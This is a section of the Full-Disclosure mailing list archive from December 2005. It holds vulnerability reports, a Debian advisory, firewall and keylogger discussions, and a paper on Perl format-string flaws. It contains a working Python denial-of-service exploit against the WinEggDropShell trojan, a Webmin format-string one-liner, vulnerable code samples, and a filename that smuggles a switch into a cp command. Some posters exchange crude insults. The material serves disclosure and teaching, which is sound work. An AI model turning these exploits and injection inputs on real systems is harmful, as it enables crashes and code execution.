301[1.2] vsprintf( msg_buffer, 302 diag_rz_msg_table[ message_number ].ac_text, 303 ap ); 304 #endif 305 va_end(ap); [1.1][1.2] call vsprintf will cause buffer overflow if ap is user-support data,so if one local or remote application which used this library may cause execute arbitrary code . 2: libUil.so open_source_file buffer voerflow Clients/uil/UilSrcSrc.c 620 status 621 open_source_file( XmConst char *c_file_name, 622 uil_fcb_type *az_fcb, 623 src_source_buffer_type *az_source_buffer ) 624 { 625 626 static unsigned short main_dir_len = 0; 627 boolean main_file; 628 int i; /* loop index through include files */ 629 char buffer[256]; 630 631 632 /* place the file name in the expanded_name buffer */ 633 634[2.1] strcpy(buffer, c_file_name); 635 636 /* Determine if this is the main file or an include file. */ 637 638 main_file = (main_fcb == NULL); 639 [2.1] like above --EOF From aditya.deshmukh at online.gateway.strangled.net Fri Dec 2 03:55:45 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Fri, 2 Dec 2005 09:25:45 +0530 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: Message-ID: See below marc email part >> Aditya Deshmukh [aditya.deshmukh at online.gateway.strangled.net] wrote: >> >>If you read the last line in para 6 you will find that anon >> mailbox is >> a requirement for SOX compliance. >> >> >And mailbox was ment for email Michael :) >> >> >But I think that "with a post and some concrete" mailbox >> will be Indeed >> be far more secure..... > From: Madison, Marc [mailto:mmadison at fnni.com] > IANAL, But IMO use an Intranet web page that allows employees > to submit > anonymous html post to the web server via html. Now if your security > policy is pervasive then surely auditing is enabled on all > your systems, > thus removing any anonymity this would have provided. Have you > considered, dare I say, outsourcing? I only say this since > part of the > requirement calls for the company to provide sufficient anonymity to > individuals reporting issues. By the way the SOX whistleblowers > requirements have already been challenged in court so there might be > precedence on what is sufficient. You must be a mind reader - you just read my mind. And google search shows Some email providers giving out this service for about US$ 89.99. Maybe that is the best solution after all... You don't break your security policy and the auditors are also happy. ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From fergdawg at netzero.net Fri Dec 2 03:05:21 2005 From: fergdawg at netzero.net (Fergie) Date: Fri, 2 Dec 2005 03:05:21 GMT Subject: [Full-disclosure] Software Firewalls for Windows Message-ID: <20051201.190550.21024.26035@webmail16.lax.untd.com> An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051202/b6795d4d/attachment.ksh From fdlist at digitaloffense.net Fri Dec 2 04:10:00 2005 From: fdlist at digitaloffense.net (H D Moore) Date: Thu, 1 Dec 2005 22:10:00 -0600 Subject: [Full-disclosure] Webmin miniserv.pl format string vulnerability In-Reply-To: <200511291115.21065.fdlist@digitaloffense.net> References: <20051129100710.GB12724@5002.rapturesecurity.org> <200511291115.21065.fdlist@digitaloffense.net> Message-ID: <200512012210.00213.fdlist@digitaloffense.net> As many folks have pointed out and consistent with the recent Dyad advisory, these bugs are indeed exploitable. I only mention this because a reporter quoted someone who quoted my original message and then used it to downplay the severity of the problem. $ perl -e 'printf("%2918905856\$vs")' -HD On Tuesday 29 November 2005 11:15, H D Moore wrote: > On Tuesday 29 November 2005 04:07, advisory at dyadsecurity.com wrote: > > [snip ] so so if remote code execution is successful, it would > > lead to a full remote root compromise in a standard configuration. From aditya.deshmukh at online.gateway.strangled.net Fri Dec 2 04:15:19 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Fri, 2 Dec 2005 09:45:19 +0530 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: <2be58a30511302258i455d92f0o8d3fa7a5a4884bea@mail.gmail.com> Message-ID: > > > Why cant you use google to find out this ? > > The same reason you can't use Google and find your answer fuckbag. Are you n3td3v ? > > > *In the para 4* > > "Protecting whistleblowers is an essential component of an ethical > > and open work environment." > > No mention of an anon email address here. > > > > *In para 6* <----- this is the one that you want > > several options for employees to raise concerns, including the > > option of raising a concern anonymously. > > Again, not specifying email. A simple drop box in the lunchroom > facilitates this. "A simple drop box in the lunchroom" will not work when you have a client that is big enough to have branches distributed all over the place. Anon Email is the best solution for this - you don't have to manually Check the boxes in all the locations with the headache of keeping the Contents of the box classified. And if you had read my first email *and* comprehended what I had asked you would have not being writing the mail that I am responding to. From paul at onestepsolutions.net Fri Dec 2 04:50:19 2005 From: paul at onestepsolutions.net (Paul Stephens) Date: Fri, 02 Dec 2005 15:50:19 +1100 Subject: [Full-disclosure] Software firewalls for Windows Message-ID: <20051202155019.m3fphnzagbk0so80@www.onestepsolutions.net> Is there something wrong with Zone Alarm? ;-) > > Also, it was just announced today by Sunbelt Software that they > are picking up Kerio. > > http://www.sunbelt-software.com/Press.cfm?id=134 > > - ferg Hi Fergie, I quite like the fact that Kerrio is light on sys resources as not all my clients have grunty machines. However, even though I'm no l33t haXor (more a mere script kiddie with canned pen testing tools) I've been able to defeat it. As far as Zone Alarm is concerned: it is more demanding on sys resources and not as configurable as Sygate Pro, or as informative as to potential malicious action. I've only just started testing Outpost (on a 32bit machine) and Ghostwall (on a 64bit machine) but so far I'm quite impressed. However, the collective experience of this list is far greater than I could achieve in a lifetime so I guess I'm asking what others have found to be the most difficult to breach and featuresome. Regards Paul Stephens (Proprietor - OneStep Solutions) http://www.onestepsolutions.net/ From exibar at thelair.com Fri Dec 2 04:48:35 2005 From: exibar at thelair.com (Exibar) Date: Thu, 1 Dec 2005 23:48:35 -0500 Subject: [spam] Re: [Full-disclosure] Hacking Boot camps! In-Reply-To: Message-ID: synchronet! Me too! I loved my Synchronet BBS back in the day :-) RIP graphic support, all the doors you could muster... I had forgotten how much fun the scriptable co-sysop was :-) Exibar (Exibar's Lair BBS (whoop whoop!) > -----Original Message----- > From: mary [mailto:malum at freeshell.org] > Sent: Thursday, December 01, 2005 9:25 PM > To: full-disclosure at lists.grok.org.uk > Subject: [spam] Re: [Full-disclosure] Hacking Boot camps! > > > > Come on... lets go right old school. I loved and ran RA > > right old school? Hm, okies! ..didn't care for RA, personally - I ran > Synchronet and RENEGADE. Thinking back.. Synchronet's scriptable > co-sysop > was a lot of fun.. > > -m > > >> Pfft.. > >> > >> RENEGADE all the way :> > >> > >> WWIV was great for modding too. Vision-X, yep.. I remember a > lot of the > >> 'ansi cool-kids' (or whatever...) running that. > >> > >> -MH > >> > >> On Wed, 30 Nov 2005, Christopher Carpenter wrote: > >> > >>> > >>> Don't forget WWIV and Vision-X. :) > >>> > >>> > >>> WildCAT BBS Anyone???? :) > >>> > >>> I remember playing tradewars and calling who knows where to > get new text > >>> files :) > >>> > >>> Used Tone-loC a lot more back then :) > >>> > >>> JP > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > > From aditya.deshmukh at online.gateway.strangled.net Fri Dec 2 04:52:06 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Fri, 2 Dec 2005 10:22:06 +0530 Subject: [Full-disclosure] Software Firewalls for Windows In-Reply-To: <20051202123832.ad0i28vgn1cg4wko@www.onestepsolutions.net> Message-ID: > Hi list, I've been a firm advocate of Sygate Pro for some > time but as Symantec > has bought and canned it I'm wondering what you guys would > recommend as a > replacement. Tiny Firewall 2005 works for both 64 and 32 bit machines And is good - I have been using in since version 2.1.5 And now its 6.5.xx From aditya.deshmukh at online.gateway.strangled.net Fri Dec 2 05:04:08 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Fri, 2 Dec 2005 10:34:08 +0530 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <1133457890.12950.80.camel@localhost> Message-ID: > I'm looking for input on what you all believe the most common > keystroke loggers are. http://keylogger.org/ claims to be an independent testing site for all keyloggers, but they have all the old versions of the Keylogger. You can use this site as starting point for your search. Visit the home pages of all the keylogger software creators And download the latest versions. > I've been challenged to write an authentication method > (for a web site) that can be secure while using a > compromised system. First off, look at the challenge in this way : 1. what is the website about ? 2. does it really need so much security ? 3. if it does then keep in mind about the Man in the middle attacks 4. when a client is compromised all the Data must be assumed to be stolen. If I were in your place I would design a system where the clients were auth with x.509 certs on the clients ie "client certs" with "user auth" purpose defined in them and store them on something like a hardware token, which required a pin to unlock. and send something signed with a client cert as a part of the login process before any kind of server response is even issued. This way the bar of security is raised a bit further. also I am a very big fan of hardware tokens that generate challenge response from random numbers... But they tend to be quite costly. But worth the cost if your application requires it. ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From aditya.deshmukh at online.gateway.strangled.net Fri Dec 2 05:05:25 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Fri, 2 Dec 2005 10:35:25 +0530 Subject: [Full-disclosure] Re: Most common keystroke loggers? In-Reply-To: Message-ID: > How about one-time passwords? Just go ahead and *let* them > keylog it all > they like; by the time they've snarfed a pw, it's no use any > more. (See S/Key for more details.) Please no one time passwords: they are a nightmare to manage ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From aditya.deshmukh at online.gateway.strangled.net Fri Dec 2 05:08:36 2005 From: aditya.deshmukh at online.gateway.strangled.net (Aditya Deshmukh) Date: Fri, 2 Dec 2005 10:38:36 +0530 Subject: [Full-disclosure] Support_388945a0 account in Win XP/2003 In-Reply-To: <438E9EEE.9070301@elforsoft.com> Message-ID: > > > That is a "help and support account" that you should disable. > > Also set very long random password and forget it. > I prefer simply delete it. Good choice? > > But I heard a rumours that this account can be activated remotely > without user's aware decision and used for Remote Assistance (e.g. > capturing a screen and even controlling input). I would not know about this unless I test it out, but from the top of my mind : you have to start the service for something like this Deleting it might cause problems "help and support" just deny the account all kinds of privs and it would no longer matter. ________________________________________________________________________ Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com) From exibar at thelair.com Fri Dec 2 05:29:27 2005 From: exibar at thelair.com (Exibar) Date: Fri, 2 Dec 2005 00:29:27 -0500 Subject: [inbox] Re: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <438F96A9.70705@randomvoids.com> Message-ID: nah, screen grabber and keylogger installed on system, compromised password. Biometrics, SecurID, one time password, usb key fob, actual physical key, something that is not on the system is what would be needed to be secure... perhaps not totally secure, but pretty damn secure.... using more than just one of the above too.... a physical key/credit card, USB key, and SecurID used together would be pretty secure... throw in a finger print reader too, why not... hell, DNA scanner like in Gataca too.... Mike B > -----Original Message----- > From: Kyle Lutze [mailto:kyle at randomvoids.com] > Sent: Thursday, December 01, 2005 7:35 PM > To: full-disclosure at lists.grok.org.uk > Subject: [inbox] Re: [Full-disclosure] Most common keystroke loggers? > > > Blue Boar wrote: > > Shannon Johnston wrote: > > > >> Hi All, > >> I'm looking for input on what you all believe the most common keystroke > >> loggers are. I've been challenged to write an authentication > method (for > >> a web site) that can be secure while using a compromised system. > > > > > > I don't think that's possible for all compromise situations, given > > today's desktop OS software. It might be possible with a > Palladium-like > > system (and you trust that the secure side isn't compromised) and/or a > > hardware assist that doesn't trust the host OS (think small > USB-attached > > computer on a stick.) > > > > However, given your query, if you simply want to play the known-threats > > game, you can just require that the Client have up-to-date AV and > > antispyware software, and scans clean. That's a little orthogonal to > > the issue of trying to be secure in the face of a keylogger installed, > > but probably a better thing to shoot for. > > > > If, for some reason, you only care about the case where a > "keylogger" is > > installed, then you can go with some scheme like making the user pick > > numbers of a randomly-scrambled keypad on the screen, with the mouse. > > > > Note, however, that "keyloggers" that grab some portion of the screen > > surrounding the mouse pointer every time you click have already been > > observed in the wild. They are designed to specifically defeat this > > kind of mechanism. > > > Actually, I think there's a relatively easy solution, make it so every > single time they want to login, have a different set of characters line > up to their password. > That didn't make much sense, here's a good example > > say somebody's password is foobar, on screen there would be a page that > shows the new alignment of characters,such as saying a=c, d=3, b=z, etc. > so instead of typing foobar the password they would type in for that > session would be hnnzck. > > The next time the screen came up, it would be a=n, b=l, etc. and the > password they would enter would be something else. Then, if the computer > had a keylogger, not too much anybody could do with that info. > > Kyle > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > > From smaillist at gmail.com Fri Dec 2 05:47:49 2005 From: smaillist at gmail.com (Sowhat) Date: Fri, 2 Dec 2005 13:47:49 +0800 Subject: [Full-disclosure] WinEggDropShell Multiple Remote Stack Overflow Message-ID: WinEggDropShell Multiple Remote Stack Overflow by Sowhat 2005.12.02 http://secway.org/advisory/AD20051202.txt http://secway.org/exploit/wineggdropshell_bof.py.txt Affected: WinEggDropShell Eterntiy version (1.7) Other version may be vulnerable toooooo Overview: WinEggDropShell is a popular Chinese RAT (remote access trojan). WineggDropShell provide HTTP Proxy/Socks Proxy/HTTP Server/FTP Server. for more information, Goooooooooooooogle... Multiple preauth stack overflow found in the HTTP/FTP server can be used to execute arbitrary command or D0S (blue screen, yes, it's cool ;) Vulnerability: 1. FTP USER bof .text:100027BD push offset aUser ; "USER" .text:100027C2 call _strlen .text:100027C7 add esp, 4 .text:100027CA lea edi, [ebp+eax-103h] .text:100027D1 push edi .text:100027D2 push offset aS ; "%s" .text:100027D7 lea edi, [ebp+var_208] .text:100027DD push edi ; char * .text:100027DE call _sprintf ; emmmmm, ;) _ReceiveSocketBuffer can maximum recv 0x200h, but [ebp+var_208] is a 0x104h buffer. 2. FTP Server Pass Command ............. 3. HTTP GET stack overflow! GET /A*260 PoC: http://secway.org/exploit/wineggdropshell_bof.py.txt Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;) Reference: [1] https://www.openrce.org/articles/full_view/18 [2] http://www.ccc.de/congress/2005/ [3] http://secway.org #!/usr/bin/python # WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC # HTTP Server "GET" && FTP Server "USER" "PASS" command # Bug Discoverd and coded by Sowhat # Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;) # http://secway.org # 2005-10-11 # Affected: # WinEggDropShell Eterntiy version # Other version may be vulnerable toooooo import sys import string import socket if (len(sys.argv) != 4): print "##########################################################################" print "# WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC #" print "# This Poc will BOD the vulnerable target #" print "# Bug Discoverd and coded by Sowhat #" print "# http://secway.org #" print "##########################################################################" print "\nUsage: " + sys.argv[0] + "HTTP/FTP" + " TargetIP" + " Port\n" print "Example: \n" + sys.argv[0] + " HTTP" + " 1.1.1.1" + " 80" print sys.argv[0] + " FTP" + " 1.1.1.1" + " 21" sys.exit(0) host = sys.argv[2] port = string.atoi(sys.argv[3]) if ((sys.argv[1] == "FTP") | (sys.argv[1] == "ftp")): request = "USER " + 'A'*512 + "\r" if ((sys.argv[1] == "HTTP") | (sys.argv[1] == "http")): request = "GET /" + 'A'*512 + " HTTP/1.1 \r\n" exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM) exp.connect((host,port)) exp.send(request) ---EOF----- -- Sowhat http://secway.org "Life is like a bug, Do you know how to exploit it ?" From joey at infodrom.org Fri Dec 2 06:35:30 2005 From: joey at infodrom.org (Martin Schulze) Date: Fri, 2 Dec 2005 07:35:30 +0100 (CET) Subject: [Full-disclosure] [SECURITY] [DSA 915-1] New helix-player packages fix arbitrary code execution Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 915-1 security at debian.org http://www.debian.org/security/ Martin Schulze December 2nd, 2005 http://www.debian.org/security/faq - -------------------------------------------------------------------------- Package : helix-player Vulnerability : buffer overflow Problem type : remote Debian-specific: no CVE ID : CVE-2005-2629 BugTraq ID : 15381 An integer overflow has been discovered in helix-player, the helix audio and video player. This flaw could allow a remote attacker to run arbitrary code on a victims computer by supplying a specially crafted network resource. This vulnerability is fixed by version 1.0.6-1 in unstable. Helix-player is not currently in the testing distribution. The old stable distribution (woody) does not contain a helix-player package. For the stable distribution (sarge) these problems have been fixed in version 1.0.4-1sarge2. For the unstable distribution (sid) these problems have been fixed in version 1.0.6-1. We recommend that you upgrade your helix-player package. Upgrade Instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - -------------------------------- Source archives: http://security.debian.org/pool/updates/main/h/helix-player/helix-player_1.0.4-1sarge2.dsc Size/MD5 checksum: 908 5abe49b8d746b78b1f70016382d44a35 http://security.debian.org/pool/updates/main/h/helix-player/helix-player_1.0.4-1sarge2.diff.gz Size/MD5 checksum: 9113 b7103af4ca93cb52cd548a4f7da43c3b http://security.debian.org/pool/updates/main/h/helix-player/helix-player_1.0.4.orig.tar.gz Size/MD5 checksum: 18044552 a277710be35426b317869503a4ad36d7 Intel IA-32 architecture: http://security.debian.org/pool/updates/main/h/helix-player/helix-player_1.0.4-1sarge2_i386.deb Size/MD5 checksum: 4289142 afe49d505b51edefe6b66e92720e9a62 PowerPC architecture: http://security.debian.org/pool/updates/main/h/helix-player/helix-player_1.0.4-1sarge2_powerpc.deb Size/MD5 checksum: 4415648 9a9ad7733abed7ffcd6c69ce366d576c These files will probably be moved into the stable distribution on its next update. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (GNU/Linux) iD8DBQFDj+sxW5ql+IAeqTIRAjVHAJ974CUfmj+F9Acw124mv/KrKpkcLACfcgHJ ldeYb42HgSrGdj/KtTkdKsw= =zqfg -----END PGP SIGNATURE----- From CNQQTROVMYSY at spammotel.com Fri Dec 2 06:28:28 2005 From: CNQQTROVMYSY at spammotel.com (CNQQTROVMYSY at spammotel.com) Date: Fri, 02 Dec 2005 07:28:28 +0100 Subject: [Full-disclosure] (no subject) Message-ID: <1133506223.CNQQTROVMYSY@spammotel.com> The original message was received Mon, 21 Nov 2005 10:10:58 +0100 from - ----- The following address(es) had permanent fatal errors ----- ; originally to CNQQTROVMYSY at spammotel.com (unrecoverable error) The mail system encountered a delivery failure, code -11. This failure could be due to circumstances out of its control, please check the transcript for details -------------- next part -------------- An embedded message was scrubbed... From: joey at infodrom.org (Martin Schulze) Subject: [Full-Disc]: [Full-disclosure] [SECURITY] [DSA 900-2] New fetchmail packages fix Date: Mon, 21 Nov 2005 10:14:03 +0100 (CET) Size: 4419 Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051202/acb32902/attachment.mht From lionel.ferette at belnet.be Fri Dec 2 07:04:44 2005 From: lionel.ferette at belnet.be (Lionel Ferette) Date: Fri, 2 Dec 2005 08:04:44 +0100 Subject: [Full-disclosure] Most common keystroke loggers? In-Reply-To: <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> References: <1133457890.12950.80.camel@localhost> <200512011757.jB1HvHmn021363@turing-police.cc.vt.edu> Message-ID: <200512020804.50762.lionel.ferette@belnet.be> In the wise words of Valdis.Kletnieks at vt.edu, on Thursday 01 December 2005 18:57: [SNIP] > Using crypto all the way from the web server to a smart-card (so all the > compromised system can see is encrypted data it can't get the key for) can > help yere. Even then, you would need a card reader with integrated pinpad. Otherwise, the keylogger can still sniff the PIN code entry - and then generate any signature it wants by accessing the PC/SC layer directly (been there, done that). Lionel -- "To understand how progress failed to make our lives easier, please press 3" Lionel Ferette BELNET CERT Coordinator Tel: +32 2 7903385 http://cert.belnet.be/ Fax: +32 2 7903375 PGP Key Id: 0x5662FD4B -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20051202/67823d50/attachment.bin From infosecbofh at gmail.com Fri Dec 2 08:22:17 2005 From: infosecbofh at gmail.com (InfoSecBOFH) Date: Fri, 2 Dec 2005 00:22:17 -0800 Subject: [Full-disclosure] Re: SOX whistleblowers' clause Compliance In-Reply-To: References: <2be58a30511302258i455d92f0o8d3fa7a5a4884bea@mail.gmail.com> Message-ID: <2be58a30512020022q7bd85952o50b5084be7d5b0e4@mail.gmail.com> And if you had used Google in the first place shitbreath, You would not have written your original email. Oh and I am not n3td3v. My morning shits are smarter than n3td3v and contain more intelligence. From infosecbofh at gmail.com Fri Dec 2 08:23:50 2005 From: infosecbofh at gmail.com (InfoSecBOFH) Date: Fri, 2 Dec 2005 00:23:50 -0800 Subject: [Full-disclosure] Fwd: confirm Message-ID: <2be58a30512020023t3af41b62m4b371632e4c8c843@mail.gmail.com> Ummm yeah,... nice try fuckbags. ---------- Forwarded message ---------- From: full-disclosure-request at lists.grok.org.uk Date: Dec 1, 2005 11:45 PM Subject: confirm To: infosecbofh at gmail.com Mailing list removal confirmation notice for mailing list Full-Disclosure We have received a request for the removal of your email address, "infosecbofh at gmail.com" from the full-disclosure at lists.grok.org.uk mailing list. To confirm that you want to be removed from this mailing list, simply reply to this message, keeping the Subject: header intact. Or visit this web page: https://lists.grok.org.uk/mailman/confirm/full-disclosure/ Or include the following line -- and only the following line -- in a message to full-disclosure-request at lists.grok.org.uk: confirm Note that simply sending a `reply' to this message should work from most mail readers, since that usually leaves the Subject: line in the right form (additional "Re:" text in the Subject: is okay). If you do not wish to be removed from this list, please simply disregard this message. If you think you are being maliciously removed from the list, or have any other questions, send them to full-disclosure-owner at lists.grok.org.uk. From manuel.bolzoni at gmail.com Fri Dec 2 08:29:28 2005 From: manuel.bolzoni at gmail.com (Manuel Bolzoni) Date: Fri, 2 Dec 2005 09:29:28 +0100 Subject: [Full-disclosure] Software Firewalls for Windows References: <20051202123832.ad0i28vgn1cg4wko@www.onestepsolutions.net> Message-ID: <004401c5f71a$84ac1e50$552f0357@vlad> 8Signs Firewall http://www.consealfirewall.com/ ----- Original Message ----- From: "Paul Stephens" To: Sent: Friday, December 02, 2005 2:38 AM Subject: [Full-disclosure] Software Firewalls for Windows > Hi list, I've been a firm advocate of Sygate Pro for some time but as Symantec > has bought and canned it I'm wondering what you guys would recommend as a > replacement. > > >From the limited testing I've done I'm leaning toward Ghostwall for XP64 & > Outpost for 32bit machines. > > Any suggestions welcomed. > > Regards > > Paul Stephens > (Proprietor - OneStep Solutions) > http://www.onestepsolutions.net/ > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ From coley at mitre.org Fri Dec 2 08:56:14 2005 From: coley at mitre.org (Steven M. Christey) Date: Fri, 2 Dec 2005 03:56:14 -0500 (EST) Subject: [Full-disclosure] Format String Vulnerabilities in Perl Programs Message-ID: <200512020856.jB28uEFR011262@linus.mitre.org> *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* Format String Vulnerabilities in Perl Programs *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* Author: Steve Christey Date: December 2, 2005 ********************************************************************** Table of Contents ********************************************************************** 1. Synopsis 2. Relevant History and Credits 3. Attack and Impact Details 4. Some Discussion on Format Strings and the Taint Checker 5. Real-World Vulnerable Program Examples 6. Avoiding Format String Vulnerabilities During Development 7. Suggestions for Further Research 8. Demonstration Programs 9. References 10. Disclosure History ********************************************************************** 1. Synopsis ********************************************************************** Format string vulnerabilities in C programs have been studied extensively in recent years. The focus has been on the execution of arbitrary code, although other effects are possible. For many other programming languages, format string vulnerabilities are also possible. Given the lack of attention to other languages, it is highly likely that a large number of applications have these issues even when they have been audited for other types of vulnerabilities. For any language that supports format strings, applications that are written in that language could be subject to format string vulnerabilities. The impact is specific to the behaviors that are supported by the format strings, and their interaction with language internals. In recent days, Jack Louis of Dyad Security reported on a format string issue in a Webmin application that is written in Perl (CVE-2005-3912). He further showed how a problem in the Perl interpreter itself could allow modification of memory and code execution in vulnerable apps (CVE-2005-3962). This paper focuses on format string vulnerabilities at the application level. It must be emphasized that even if the interpreter problem is fixed, the impact of format string vulnerabilities will only be reduced, not completely eliminated. Excluding problems within the interpreter itself, Perl application format string vulnerabilities can allow denials of service (primarily memory or disk consumption), information leaks, and modification of program variables in ways that may have security implications. In particular, the sprintf() and printf() functions in Perl can be abused if an attacker can control the contents of the format string. Since similar functions are used in C, it is possible that these functions will be used more frequently by C programmers who are new to Perl. It should be noted that Perl's taint checker does not catch some variants of format string attacks. The behavior differs in Perl 5.004 and 5.6.1 (5.6.1 can identify additional dangerous inputs). However, modifying the taint checker itself may not be feasible or even appropriate. ********************************************************************** 2. Relevant History and Credits ********************************************************************** Jean-loup Gailly independently discovered and reported a format string problem in a Perl application on September 26, 2002 [1]. Arjan de Vet included format strings and the taint checker in a presentation at YAPC:Europe in August 2001 [2]. Steve Christey mentioned the possibility of format strings in PHP applications on April 3, 2003 [3] and format strings in interpreted languages during a lightning round talk on vulnerability research gaps at CanSecWest in April 2004 [4]. Jack Louis reported on a format string problem in a Perl application on November 29, 2005 [5], following it with a description of an integer wrap within Perl itself that was exploitable via format strings on December 1, 2005 [6]. The most notable early research on format strings in C was performed by Tim Newsham in September 2000 [7]. ********************************************************************** 3. Attack and Impact Details ********************************************************************** Following are some of the more dangerous specifiers, along with their implications. 1) Memory or disk consumption The "%s" specifier, and others that allow field widths to be defined, can be used to consume a large amount of CPU, memory, and/or disk, e.g. "%99999s". ("%999999999s" is sufficient to consume a gigabyte of memory or disk, but it has been reported that it can also cause the Perl program to crash.) 2) Modification of variables Using the "%n" specifier, the attacker can modify the values of certain variables that are provided as arguments to print/sprintf, possibly altering program behavior in ways that have security implications. The variable is modified to a number, generally a 0. The implications of this problem depend on how the program uses the variables. Consider the following pseudo-code for an authentication routine: $input = GetInputFromUser(); if (UserHasAuthenticated($user)) { $a = 0; } else { $a = 1; } $str = sprintf($input, $a); if ($a) { PromptUserToAuthenticate($user); } else { DoThingThatOnlyUsersShouldDo($user); } If $input is "%10s", then str is formatted with up to 10 spaces of padding and $a is not modified; but if $input is "%n", then $a is changed to 0, and the attacker effectively bypasses the check for authentication. 3) Argument shifting The "%p" specifier formats a pointer for the next argument to be processed in the call to *printf. This effectively misdirects or shifts all remaining arguments to different format specifiers than the programmer intended. The impact depends on the specific bug. Argument shifting could also be used to bypass cleansing operations for other vulnerabilities, by shifting uncleansed values into variables that contain cleansed values. 4) Altering intended outputs Any format specifier can alter the intended format of structured output. This in turn could corrupt files or enable the exploitation of vulnerabilities in other applications that process such output. For example, the '%p' specifier, which prints out a pointer value, could be used to generate integer values that exceed the expected range of inputs. Example: $index = GetUserInput(); if (($index > 32) || ($index < 0)) { print STDERR "Error: Index must be between 0 and 32."; } ($sec,$min,$hour,$mday,$mon,$year) = gmtime(time); printf DATABASE, "$index %4d/%02d/%02d %02d:%02d:%02d\n", $year+1900, $mon+1, $mday; If $index is "1", then the result might be: 1 2002/10/01 06:58:42 But if $index is "%p", the error condition is not detected (since the string evaluates to 0), and the result would be: 130690 10/01/06 58:42:00 Here, not only does the 'index' value exceed the maximum of 32, but all the other values are wrong! This is because the %p was used to format a pointer to the $year+1900 expression. All the other arguments were then misdirected, and applied to the wrong format specifier. Thus the month value is formatted as the year, the seconds value is formatted as the minute, etc. 5) Bypassing cleansing operations Cleansing operations that remove spaces could be tricked by using "%2s" or other format specifiers that generate spaces. Programs may try to remove spaces when passing arguments to commands, or formatting data. Here's one example: opendir(DIR, "."); while ($file = readdir(DIR)) { if ($file =~ /\s/) { print STDERR "Warning: '$file' has spaces, replacing with _\n"; $file =~ s/\s/_/g; } if ($file =~ /^-(fiprR)+$/) { print STDERR "Warning: '$file' matches switches for /bin/cp!\n"; # skip this one. next; } $backup = sprintf("$file.bak"); # C programmers might do this system("/bin/cp $file $backup"); # but this *is* just an example } closedir(DIR); If $file is set to "-R%2ssubdir", then the check for "dangerous switches" would fail, and the resulting system call would be: system("/bin/cp -R subdir subdir.bak"); 6) Other Attack Scenarios Some feasible attack scenarios involve Perl programs that generate log messages or reports: - File names containing format specifiers could alter which files are processed - IP addresses whose DNS reverse lookup includes format strings could be returned as the result of gethostbyname(). Log files could be filled easily using "%999s" style strings. The possibility of CRLF injection was theorized, but a casual investigation was not successful. ********************************************************************** 4. Some Discussion on Format Strings and the Taint Checker ********************************************************************** In 5.004: The taint checker apparently does not flag filenames as tainted (e.g. as obtained from the readdir() function). Presumably, other types of "indirect input" may not be tainted. However, it does identify more direct sources of input such as stdin and environment variables. In 5.6.1: Filenames are tainted, and the taint checker terminates the program. While the program is safe from exploitation through dangerous calls, there is still a denial of service, which could be a problem with critical code that is expected to fully complete its task, such as a log processing program (although the programmer should take the possibility of failure into account while running in taint mode anyway!) Note that the taint checker does not exit until a *printf-tainted variable is passed to a dangerous call such as system(). So, if the program is not tested with specifiers such as '%n' (which modifies an argument to *printf), then the taint check may not be discovered. Attacks such as resource consumption and data format modification will still work; however, changing the taint checker to exit as soon as the printf/sprintf is encountered could break existing programs. This is a factor though: "testing" sprintf/printf with normal file names won't directly trigger the taint checker, unless %n is actually included in the filename; so, if the programmer tests the Perl code, but does not include the '%n' option, they won't necessarily find the taint error. However, a later input with '%n' could cause the program to halt unexpectedly due to the taint error. Note: the taint checker doesn't complain when system() is called with arguments in the following fashion: system("/bin/echo", $tainted_var1, $tainted_var2); The following example properly generates an error from the taint checker, using input from stdin: $a = ; chomp($a); $str = sprintf("$a.txt"); system("/bin/echo $str"); The following example also generates an error from the taint checker, using input from a directory listing: opendir(DIR, "."); while ($file = readdir(DIR)) { system("/bin/echo $file"); } closedir(DIR); Original bug report: 